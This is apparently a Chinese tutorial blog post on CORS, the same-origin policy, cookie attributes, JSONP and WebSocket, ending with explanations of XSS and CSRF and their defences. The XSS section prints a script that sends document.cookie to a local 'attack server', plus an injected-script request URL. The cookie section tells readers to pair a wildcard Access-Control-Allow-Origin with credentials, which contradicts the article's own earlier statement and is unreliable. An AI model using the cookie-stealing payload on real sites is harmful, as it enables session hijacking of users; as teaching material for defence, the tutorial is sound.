- 基础概念
- 构造一个跨域请求
- 如何解决跨域
- 站点安全
- 参考资料
基础概念
域名的树状结构
根域名
所有域名的起点都是根域名,它写作一个点.,放在域名的结尾。因为这部分对于所有域名都是相同的,所以就省略不写了,比如example.com 等同于example.com. (结尾多一个点)。一个域名结尾加一个点,浏览器都可以正常解读(有的域名会屏蔽此方式)。
顶级域名/一级域名
根域名的下一级是顶级域名,也称为一级域名。它分成两种:通用顶级域名(比如 .com / .net / .vip )和国别顶级域名(比如 .cn 和 .us )。
二级域名
二级域名就是你在某个顶级域名下面,自己注册的域名。比如,wetv.vip 就是在一级域名.vip 下面注册的。
三级域名
三级域名是二级域名的子域名,是域名拥有者自行设置的,不用得到许可。比如,barrage.wetvinfo.com 就是 wetvinfo.com 的三级域名。
同源策略
同源策略(Same Orgin Policy)是一种约定,它是浏览器核心也最基本的安全功能,它会阻止一个域的JS 脚本和另外一个域的内容进行交互,如果缺少了同源策略,浏览器很容易受到XSS、CSFR等攻击(有同源策略,在设置不当时也会受到攻击)。所谓同源(即在同一个域)就是两个页面具有相同的协议(protocol)、主机(host)和端口号(port)。
如果非同源且未使用跨域策略则会有下面的限制:
- 无法读取非同源网页的
Cookie 、localStorage 、IndexedDB - 无法接触非同源网页的
DOM 和JS 对象 - 无法向非同源地址发送
Ajax 请求(可以发送成功[可能被攻击],但浏览器会拒绝接受响应)
IE 中的特例 Internet Explorer 的同源策略有两个主要的差异点:
- 授信范围(Trust Zones):两个相互之间高度互信的域名,如公司域名(corporate domains),则不受同源策略限制。
- 端口:IE 未将端口号纳入到同源策略的检查中,因此 https://company.com:81/index.html 和 https://company.com/index.html 属于同源并且不受任何限制。
跨域场景
当前页面 url | 被请求页面 url | 是否跨域 | 原因 | 能否携带cookie |
---|
http://www.testlocation.com/ | http://www.testlocation.com/ | 否 | 同源(协议、域名、端口号相同) | 能 | http://www.testlocation.com/ | https://www.testlocation.com/ | 跨域 | 协议不同(http/https) | 能(CORS) | http://www.testlocation.com/ | http://www.baidu.com/ | 跨域 | 主域名不同(test/baidu) | 不能 | http://www.testlocation.com/ | http://blog.testlocation.com/ | 跨域 | 子域名不同(www/blog) | 能(CORS) | http://www.testlocation.com:8080 | http://www.testlocation.com:7001 | 跨域(base浏览器) | 端口号不同(8080/7001) | 能(CORS) |
简单请求
对于HEAD ,GET ,POST 请求,如果HTTP请求头中只有Accept/Accept-Language/Content-Language/Last-Event-ID/Content-Type 六种类型,且Content-Type只能是下面三个值,则是简单请求:
- application/x-www-form-urlencoded 对应普通表单
- multipart/form-data 对应文件上传
- text/plain 对应文本发送(一般不怎么用)
简单请求会在发送时自动在 HTTP 请求头加上 Origin 字段,来标明当前是哪个源(协议+域名+端口),服务端来决定是否放行。
非简单请求
如果一个请求不是简单请求,则为非简单请求。
预检请求
非简单请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为"预检"请求(preflight )。"预检"请求用的请求方法是OPTIONS ,表示这个请求是用来询问的。
预检请求携带的头信息:
Origin ,表示请求来自哪个源。Access-Control-Request-Method 用来列出浏览器的CORS请求会用到哪些HTTP方法Access-Control-Request-Headers 一个逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段
预检请求的响应逻辑将在后续详细描述。
AJAX 请求
AJAX是Asynchronous JavaScript and XML 的缩写,意思就是用JavaScript 执行异步网络请求。目前JS 有两种异步请求的技术
一种是XHR ,即使用new XMLHttpRequest() 对象进行异步HTTP请求,在浏览器抓包协议中Type 是xhr 。
一种是fetch ,是一个现代的、基于 Promise 的、用于替代 XMLHttpRequest 的方法。在浏览器抓包协议中Type 是fetch 。
Cookie
Cookie 是服务器保存在浏览器的一小段文本信息,一般大小不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。Cookie 不是一种理想的客户端存储机制。它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端存储建议使用 Web storage API 和 IndexedDB 。只有那些每次请求都需要让服务器知道的信息,才应该放在 Cookie 里面。Cookie 有下面几个属性:
-
Expires Expires 属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString() 进行格式转换。 -
Max-Age Max-Age 属性指定从现在开始 Cookie 存在的秒数,比如60 * 60 * 24 * 365 (即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。 如果同时指定了Expires 和Max-Age ,那么Max-Age 的值将优先生效。 -
Domain Domain 属性指定 Cookie 属于哪个域名,以后浏览器向服务器发送 HTTP 请求时,通过这个属性判断是否要附带某个 Cookie。如果没有指定 Domain 属性,浏览器会默认将其设为浏览器的当前域名。 -
Path Path 属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,Path 属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。 -
Secure Secure 属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。如果当前协议是 HTTP,浏览器会自动忽略服务器发来的Secure 属性。 -
HttpOnly HttpOnly 属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是document.cookie 属性、XMLHttpRequest 对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到。 -
SameSite Chrome 51 开始,浏览器的 Cookie 新增加了一个SameSite 属性,用来防止 CSRF 攻击和用户追踪。
构造一个跨域请求
golang服务示例
func main() {
go func() {
mux := http.NewServeMux()
mux.HandleFunc("/cors_simple_error", CorsSimpleError)
mux.HandleFunc("/btn_cors_simple_success", CorsSimpleSuccess)
mux.HandleFunc("/btn_cors_simple_success_cookie", CorsSimpleSuccessCookie)
mux.HandleFunc("/btn_cors_failed", BtnCorsFailed)
mux.HandleFunc("/btn_cors_success", BtnCorsSuccess)
if err := http.ListenAndServe(":8001", mux); err != nil {
panic(err)
}
}()
elog.Debug("http://127.0.0.1:8008/")
fs := http.FileServer(http.Dir("./"))
http.Handle("/", http.StripPrefix("/", fs))
http.HandleFunc("/same_origin", SameOrigin)
http.HandleFunc("/same_origin_cookie", SameOriginCookie)
if err := http.ListenAndServe(":8008", nil); err != nil {
panic(err)
}
}
使用不同端口 http://127.0.0.1:8001 和 http://127.0.0.1:8008 来构造同站跨域请求。可以使用 switchhost 软件重定向一个测试域名到 127.0.0.1 来构造一个跨站跨域请求:
127.0.0.1 cross-site.com
这样我们请求 http://cross-site.com:8001 就相当于 http://127.0.0.1:8001 了。
AJAX请求示例
用JS 脚本构造异步HTTP请求,示例如下:
const log = document.querySelector('.xss-event-log');
document.querySelector("#btn_xss").addEventListener("click", ()=>{
fetch('http://127.0.0.1:8002/xss',{method:"GET",credentials:"include"}).
then(response => {
for(const key of response.headers.keys()) {
log.textContent = `${log.textContent}${key}:${response.headers.get(key)}\n`;
}
response.text().then(d=>{log.textContent = `${log.textContent}body:\n${d}`});
}).
catch( error => {
console.error(`same origin 请求失败:${error}`);
log.textContent = `${log.textContent}same origin 请求失败!状态码:${error}\n`;
});
})
如何解决跨域
CORS
CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。它允许浏览器向跨域服务器,发出AJAX请求,从而克服了AJAX只能同源使用的限制。
CORS需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE浏览器不能低于IE10。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,非简单请求还会多出一次附加的预检请求,但用户不会有感觉。
简单请求处理
对于简单请求,浏览器直接发出CORS请求。具体来说,就是在头信息之中,增加一个Origin字段。
origin: https://wetv.vip
服务器需要处理这个头部,并填充回返回头部
Access-Control-Allow-Origin
access-control-allow-origin: https://wetv.vip
此头部也可填写为* ,表示接受任意域名的请求。如果不返回这个头部,浏览器会抛出跨域错误。(注:服务器端不会报错)
需要注意的是,如果要发送Cookie ,Access-Control-Allow-Origin 就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie 依然遵循同源政策,只有用服务器域名设置的Cookie 才会上传,其他域名(跨站)的Cookie 并不会上传,且原网页代码中的document.cookie 也无法读取服务器域名下的Cookie 。
Access-Control-Allow-Origin 这个头部是必须填写的。
Access-Control-Allow-Credentials
布尔值,默认是false ,表示不允许发送Cookie ,如果需要允许浏览器携带Cookie 则需要设置为true 。此字段可选。
需要注意,如果要携带Cookie ,前端开发者必须在AJAX请求中打开withCredentials 属性(fetch请求则需要设置值为include)。
Access-Control-Expose-Headers
CORS 请求时,XMLHttpRequest 对象的getResponseHeader() 方法只能拿到6个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma 。如果想拿到其他字段,就必须在Access-Control-Expose-Headers 里面指定。
比如,需要在头部添加QUA 字段来填充用户信息,则必须在Access-Control-Expose-Headers 里面指定QUA 字段。
此字段可选。
非简单请求处理
对于非简单请求,浏览器会先自动进行预检,以判断服务器是否允许跨域。
预检返回
-
Access-Control-Allow-Origin 同简单请求,必选 -
Access-Control-Allow-Methods 逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法,必选 -
Access-Control-Allow-Headers
如果浏览器请求包括Access-Control-Request-Headers 字段,则此字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在"预检"中请求的字段。 -
Access-Control-Allow-Credentials 同简单请求 -
Access-Control-Max-Age 指定本次预检请求的有效期,单位为秒。可以避免频繁的预检请求。
正常请求
预检通过后,浏览器就正常发起请求和响应,流程和简单请求一致。
JSONP
JSONP的原理 :利用<script> 标签中 src属性可以跨域的特性。 JSONP只支持GET请求,因为本质上<script> 加载资源就是GET。JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。例:
<script src="http://api.foo.com?callback=bar"></script>
请求的脚本网址有一个callback 参数(?callback=bar ),用来告诉服务器,客户端的回调函数名称(bar )。服务器收到请求后,拼接一个字符串,将 JSON 数据放在函数名里面,作为字符串返回(bar({...}) )。客户端只要定义了bar() 函数,就能在该函数体内,拿到服务器返回的 JSON 数据。
WebSocket
WebSocket 是一种通信协议,使用ws:// (非加密)和wss:// (加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨域通信。
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com
Cookie 携带
同源网站
如果是同源网站,cookie在某些浏览器上是自动携带的,有些浏览器则默认不携带。如果要显示携带,则可以在前端设置credentials:"same-origin" ,如果要显示不携带,则可以设置为credentials:"omit" ,后台不需要额外设置。
跨域携带
跨域携带有个前提,即如果一级域名不同,则不能携带 cookie,一级域名下的子域名或端口不同的服务可以携带,且需做如下设置:
-
简单请求
- 前端设置
credentials: 'include' - 后台设置
Access-Control-Allow-Origin=* -
非简单请求
站点安全
跨站脚本 (XSS)
XSS 是一种常见的 web 安全漏洞,它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。XSS 的攻击目标是为了盗取存储在客户端的 Cookie 或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。
反射型XSS攻击
反射型 XSS 攻击发生在当传递给服务器的用户数据被立即返回并在浏览器中原样显示的时候,比如有意制造错误输入,并让服务将错误输入返回。我们可以构造下面一个脚本,并附在请求参数中:
var img=document.createElement('img');
img.src=`http://127.0.0.1:8002/xss?${escape(document.cookie)}`;
console.log(img.src);
document.appendChild(img);
HTML的img src 会自动执行并且不受同源策略限制,此脚本会将页面Cookie取出并发送到攻击服务器上。
用户发送请求:
http://127.0.0.1:8008/same_origin?q=beer<script%20src=http://127.0.0.1:8008/scripts/evil_script.js></script>
如果服务没有检测输入,直接返回,则会导致脚本执行,Cookie被劫持。
持久型XSS攻击
恶意脚本存储在站点中,然后再原样地返回给其他用户,在用户不知情的情况下执行。原理和上面的类似,只是数据会被存储在数据库,导致漏洞持久存在。比如贴吧帖子等形式的数据。
预防措施
防御办法为不能明文返回用户传递来的数据,而是改用错误码形式。并且将重要的Cookie 设置为httponly ,此时脚本将无法读取到此Cookie 。数据库存储的数据需要进行编码或者校验,去除脚本编码数据。对 HTML 来说,这些包括类似 <script> , <object> , <embed> ,和 <link> 的标签。
CSRF 攻击
跨站请求伪造(英语:Cross-site request forgery ),也被称为 one-click attack 或者 session riding ,通常缩写为 CSRF 或者 XSRF , 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
XSS利用的是服务器的漏洞,通过服务器返回数据进行攻击;
CSFR利用请求鉴权的漏洞,伪造请求进行攻击,即使服务器没有XSS漏洞依然可以生效,并且攻击只是利用Cookie并没有获取Cookie,因此HttpOnly也无法预防此类攻击。
攻击示例
同XSS的攻击示例,只需要将脚本内容更换成网站已有API,如转账,增删操作等敏感API,自动携带的Cookie就可以骗过服务器鉴权请求成功。攻击者会用邮件,钓鱼网站等方式诱导用户点击此链接,从而劫持Cookie。
例如用户在A网站登录,被诱导进入B网站,此时就会触发对A网站后台的请求,因为是对A网站的请求,因此会携带Cookie并成功。
CSRF的特点
- 攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生。
- 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据。
- 整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”。
- 跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪。
预防措施
-
Referer 检测 当跨域访问时,浏览器会自动携带 Referer 头部字段,后台可以检测此字段来追踪请求来源。但是此方法只能作为辅助,因为Referer不是一个强制字段,当用户浏览器手动输入时可以不带此头部。 -
Samesite Cookie 重要的cookie项使用Samesite Cookie值避免跨站携带,有三个值可选分别为Strict、Lax、None:
-
Strict 完全禁止第三方Cookie,跨站点(一级域名)访问时,任何情况下都不会发送Cookie。换言之,只有当前网页的 URL与请求目标一致,才会带上Cookie。 -
Lax Chrome默认模式,对于从第三方站点以link标签,a标签,GET形式的Form提交这三种方式访问目标系统时,会带上目标系统的Cookie,对于其他方式,如 POST形式的Form提交、AJAX形式的GET、img的src访问目标系统时,拿不到Cookie。 -
None 原始方式,任何情况都提交目标系统的Cookie。 -
CSRF Token 将一个token放到参数里,因为参数不能自动携带,因此可以避免CSRF攻击,token设置一个过期时间,避免重放攻击。
-
双重Cookie验证 类似于CSRF Token,不过这个token是种植在Cookie中的,后台验证请求时取出Cookie的Token和参数携带Token做对比,相同则放行,不同则拒绝。避免了token验证的问题。但是必须防止XSS漏洞泄露Cookie,否则此方法无效。 -
SameParty 这是一个处于提案状态的属性,允许属于同一经营主体的域名之间携带Cookie。用来替代Samesite属性,还未大规模使用。
参考资料
跨域资源共享 CORS 详解
跨域是个什么鬼,你搞明白了吗?
AJAX
HTTP请求的响应头部Vary的理解
fetch请求中的跨域和携带Cookies问题
X-Content-Type-Options
MDN站点安全
Cookies and security
Access-Control-Allow-Credentials
ajax、跨域与安全机制
CSRF攻击原理和防范措施
前端安全系列(二):如何防止CSRF攻击?
根域名的知识
DNS 查询原理详解
[详解 Cookie 新增的 SameParty 属性](
|